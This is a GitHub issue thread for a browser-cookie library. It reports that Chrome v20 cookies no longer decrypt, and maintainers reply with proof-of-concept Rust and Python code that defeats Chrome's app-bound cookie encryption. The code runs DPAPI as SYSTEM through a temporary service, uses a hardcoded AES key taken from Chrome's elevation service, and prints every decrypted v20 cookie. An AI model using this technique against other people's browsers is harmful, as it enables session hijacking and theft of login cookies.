-
Notifications
You must be signed in to change notification settings - Fork 21
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
[Bug]: inability to decrypt newer cookies #50
Comments
Hey! The source code is here |
I'll see if we can add yt-dlp/yt-dlp#10927 (comment) to rookie. Also related: moonD4rk/HackBrowserData#431 |
POC of system decryption (still need to decrypt as the current user and think how to run it from the library service.rsuse std::{ffi::c_void, ptr};
use eyre::{anyhow, bail, Result};
use windows::Win32::{Foundation, Security::Cryptography};
fn decrypt(encrypted_base64: &str) -> String {
println!("encrypted base 64 {}", encrypted_base64);
let mut decoded = base64::decode(encrypted_base64.trim()).unwrap();
println!("decoded length: {}", decoded.len());
let decrypted = dpapi_decrypt(&mut decoded).unwrap();
base64::encode(decrypted)
}
fn dpapi_decrypt(keydpapi: &mut [u8]) -> Result<Vec<u8>> {
// https://learn.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptunprotectdata
// https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-localfree
// https://docs.rs/winapi/latest/winapi/um/dpapi/index.html
// https://docs.rs/winapi/latest/winapi/um/winbase/fn.LocalFree.html
let data_in = Cryptography::CRYPT_INTEGER_BLOB {
cbData: keydpapi.len() as u32,
pbData: keydpapi.as_mut_ptr(),
};
let mut data_out = Cryptography::CRYPT_INTEGER_BLOB {
cbData: 0,
pbData: ptr::null_mut(),
};
unsafe {
let _ = match Cryptography::CryptUnprotectData(
&data_in,
Some(ptr::null_mut()),
Some(ptr::null_mut()),
Some(ptr::null_mut()),
Some(ptr::null_mut()),
0,
&mut data_out,
) {
Ok(_) => Ok(()),
Err(_) => Err(anyhow!("CryptUnprotectData failed")),
};
}
if data_out.pbData.is_null() {
bail!("CryptUnprotectData returned a null pointer");
}
let decrypted_data =
unsafe { std::slice::from_raw_parts(data_out.pbData, data_out.cbData as usize).to_vec() };
let pbdata_hlocal = Foundation::HLOCAL(data_out.pbData as *mut c_void);
unsafe {
let _ = match Foundation::LocalFree(pbdata_hlocal) {
Ok(_) => Ok(()),
Err(_) => Err(anyhow!("LocalFree failed")),
};
};
Ok(decrypted_data)
}
fn main() -> std::io::Result<()> {
use interprocess::local_socket::{prelude::*, GenericNamespaced, ListenerOptions, Stream};
use std::io::{self, prelude::*, BufReader};
// Define a function that checks for errors in incoming connections. We'll use this to filter
// through connections that fail on initialization for one reason or another.
fn handle_error(conn: io::Result<Stream>) -> Option<Stream> {
match conn {
Ok(c) => Some(c),
Err(e) => {
eprintln!("Incoming connection failed: {e}");
None
}
}
}
// Pick a name.
let printname = "unprotect.sock";
let name = printname.to_ns_name::<GenericNamespaced>()?;
// Configure our listener...
let opts = ListenerOptions::new().name(name);
// ...then create it.
let listener = match opts.create_sync() {
Err(e) if e.kind() == io::ErrorKind::AddrInUse => {
// When a program that uses a file-type socket name terminates its socket server
// without deleting the file, a "corpse socket" remains, which can neither be
// connected to nor reused by a new listener. Normally, Interprocess takes care of
// this on affected platforms by deleting the socket file when the listener is
// dropped. (This is vulnerable to all sorts of races and thus can be disabled.)
//
// There are multiple ways this error can be handled, if it occurs, but when the
// listener only comes from Interprocess, it can be assumed that its previous instance
// either has crashed or simply hasn't exited yet. In this example, we leave cleanup
// up to the user, but in a real application, you usually don't want to do that.
eprintln!(
"Error: could not start server because the socket file is occupied. Please check if
{printname} is in use by another process and try again."
);
return Err(e);
}
x => x?,
};
// The syncronization between the server and client, if any is used, goes here.
eprintln!("Server running at {printname}");
// Preemptively allocate a sizeable buffer for receiving at a later moment. This size should
// be enough and should be easy to find for the allocator. Since we only have one concurrent
// client, there's no need to reallocate the buffer repeatedly.
let mut buffer = String::with_capacity(4096);
for conn in listener.incoming().filter_map(handle_error) {
// Wrap the connection into a buffered receiver right away
// so that we could receive a single line from it.
let mut conn = BufReader::new(conn);
println!("Incoming connection!");
// Since our client example sends first, the server should receive a line and only then
// send a response. Otherwise, because receiving from and sending to a connection cannot
// be simultaneous without threads or async, we can deadlock the two processes by having
// both sides wait for the send buffer to be emptied by the other.
conn.read_line(&mut buffer)?;
// Now that the receive has come through and the client is waiting on the server's send, do
// it. (`.get_mut()` is to get the sender, `BufReader` doesn't implement a pass-through
// `Write`.)
let decrypted = decrypt(&buffer);
println!("write all...");
conn.get_mut().write_all(decrypted.as_bytes())?;
// Print out the result, getting the newline for free!
print!("Client answered: {buffer}");
// Clear the buffer so that the next iteration will display new data instead of messages
// stacking on top of one another.
buffer.clear();
}
Ok(())
} main.rsfn main() -> windows_service::Result<()> {
use std::ffi::OsString;
use windows_service::{
service::{ServiceAccess, ServiceErrorControl, ServiceInfo, ServiceStartType, ServiceType},
service_manager::{ServiceManager, ServiceManagerAccess},
};
let manager_access = ServiceManagerAccess::ALL_ACCESS;
let service_manager = ServiceManager::local_computer(None::<&str>, manager_access)?;
// This example installs the service defined in `examples/ping_service.rs`.
// In the real world code you would set the executable path to point to your own binary
// that implements windows service.
let service_binary_path = ::std::env::current_exe()
.unwrap()
.with_file_name("service.exe");
let name = "unprotect_service";
let service_info = ServiceInfo {
name: OsString::from(name),
display_name: OsString::from("Unprotect service"),
service_type: ServiceType::OWN_PROCESS,
start_type: ServiceStartType::OnDemand,
error_control: ServiceErrorControl::Normal,
executable_path: service_binary_path,
launch_arguments: vec![],
dependencies: vec![],
account_name: None, // run as System
account_password: None,
};
let perm = ServiceAccess::CHANGE_CONFIG | ServiceAccess::START | ServiceAccess::DELETE;
let service = match service_manager.open_service(&name, perm) {
Ok(s) => s,
Err(_) => service_manager.create_service(&service_info, perm).unwrap(),
};
service.set_description("Unprotected base64 of v20 chrome cookies")?;
println!("starting...");
let encrypted = "your base 64 key";
service.start::<String>(&[]).unwrap();
println!("going to decrypt...");
let decrypted = decrypt_with_service(&encrypted).unwrap();
println!("decrypted: {}", decrypted);
service.stop().unwrap();
service.delete().unwrap();
Ok(())
}
fn decrypt_with_service(encrypted_base64: &str) -> std::io::Result<String> {
use interprocess::local_socket::{prelude::*, GenericFilePath, GenericNamespaced, Stream};
use std::io::{prelude::*, BufReader};
// Pick a name.
let name = if GenericNamespaced::is_supported() {
"unprotect.sock".to_ns_name::<GenericNamespaced>()?
} else {
"/tmp/unprotect.sock".to_fs_name::<GenericFilePath>()?
};
// Preemptively allocate a sizeable buffer for receiving. This size should be enough and
// should be easy to find for the allocator.
let mut buffer = String::with_capacity(4096);
// Create our connection. This will block until the server accepts our connection, but will
// fail immediately if the server hasn't even started yet; somewhat similar to how happens
// with TCP, where connecting to a port that's not bound to any server will send a "connection
// refused" response, but that will take twice the ping, the roundtrip time, to reach the
// client.
let conn = Stream::connect(name)?;
// Wrap it into a buffered reader right away so that we could receive a single line out of it.
let mut conn = BufReader::new(conn);
// Send our message into the stream. This will finish either when the whole message has been
// sent or if a send operation returns an error. (`.get_mut()` is to get the sender,
// `BufReader` doesn't implement pass-through `Write`.)
println!("write all...");
let line_with_newline = format!("{}\n", encrypted_base64);
conn.get_mut().write_all(line_with_newline.as_bytes())?;
// We now employ the buffer we allocated prior and receive a single line, interpreting a
// newline character as an end-of-file (because local sockets cannot be portably shut down),
// verifying validity of UTF-8 on the fly.
conn.read_line(&mut buffer)?;
Ok(buffer)
} POC in Python main.py"""
Decrypt chrome v20 cookies with app bound protection
Tested in 2024-10-23 with Chrome version 130.0.6723.70 on Windows 11 23H2
pip install pywin32 pycryptodome pypsexec
python main.py
"""
import os
import json
import sys
import binascii
from pypsexec.client import Client
from Crypto.Cipher import AES
import sqlite3
import pathlib
user_profile = os.environ['USERPROFILE']
local_state_path = rf"{user_profile}\AppData\Local\Google\Chrome\User Data\Local State"
cookie_db_path = rf"{user_profile}\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies"
with open(local_state_path, "r") as f:
local_state = json.load(f)
app_bound_encrypted_key = local_state["os_crypt"]["app_bound_encrypted_key"]
arguments = "-c \"" + """import win32crypt
import binascii
encrypted_key = win32crypt.CryptUnprotectData(binascii.a2b_base64('{}'), None, None, None, 0)
print(binascii.b2a_base64(encrypted_key[1]).decode())
""".replace("\n", ";") + "\""
c = Client("localhost")
c.connect()
try:
c.create_service()
assert(binascii.a2b_base64(app_bound_encrypted_key)[:4] == b"APPB")
app_bound_encrypted_key_b64 = binascii.b2a_base64(
binascii.a2b_base64(app_bound_encrypted_key)[4:]).decode().strip()
# decrypt with SYSTEM DPAPI
encrypted_key_b64, stderr, rc = c.run_executable(
sys.executable,
arguments=arguments.format(app_bound_encrypted_key_b64),
use_system_account=True
)
# decrypt with user DPAPI
decrypted_key_b64, stderr, rc = c.run_executable(
sys.executable,
arguments=arguments.format(encrypted_key_b64.decode().strip()),
use_system_account=False
)
decrypted_key = binascii.a2b_base64(decrypted_key_b64)[-61:]
assert(decrypted_key[0] == 1)
finally:
c.remove_service()
c.disconnect()
# decrypt key with AES256GCM
# aes key from elevation_service.exe
aes_key = binascii.a2b_base64("sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=")
# [flag|iv|ciphertext|tag] decrypted_key
# [1byte|12bytes|variable|16bytes]
iv = decrypted_key[1:1+12]
ciphertext = decrypted_key[1+12:1+12+32]
tag = decrypted_key[1+12+32:]
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=iv)
key = cipher.decrypt_and_verify(ciphertext, tag)
print(binascii.b2a_base64(key))
# fetch all v20 cookies
con = sqlite3.connect(pathlib.Path(cookie_db_path).as_uri() + "?mode=ro", uri=True)
cur = con.cursor()
r = cur.execute("SELECT host_key, name, CAST(encrypted_value AS BLOB) from cookies;")
cookies = cur.fetchall()
cookies_v20 = [c for c in cookies if c[2][:3] == b"v20"]
con.close()
# decrypt v20 cookie with AES256GCM
# [flag|iv|ciphertext|tag] encrypted_value
# [3bytes|12bytes|variable|16bytes]
def decrypt_cookie_v20(encrypted_value):
cookie_iv = encrypted_value[3:3+12]
encrypted_cookie = encrypted_value[3+12:-16]
cookie_tag = encrypted_value[-16:]
cookie_cipher = AES.new(key, AES.MODE_GCM, nonce=cookie_iv)
decrypted_cookie = cookie_cipher.decrypt_and_verify(encrypted_cookie, cookie_tag)
return decrypted_cookie[32:].decode('utf-8')
for c in cookies_v20:
print(f"")
print(c[0], c[1], decrypt_cookie_v20(c[2])) |
Added support for chrome v130.x in latest rookie version |
What happened?
Likely due to https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html, this program no longer decrypts newer chrome cookies. However, instead of displaying an error, it simply includes lots cookie names without values in the output
Steps to reproduce
cli -b chrome
What browsers are you seeing the problem on?
Chrome
Relevant log output
The text was updated successfully, but these errors were encountered: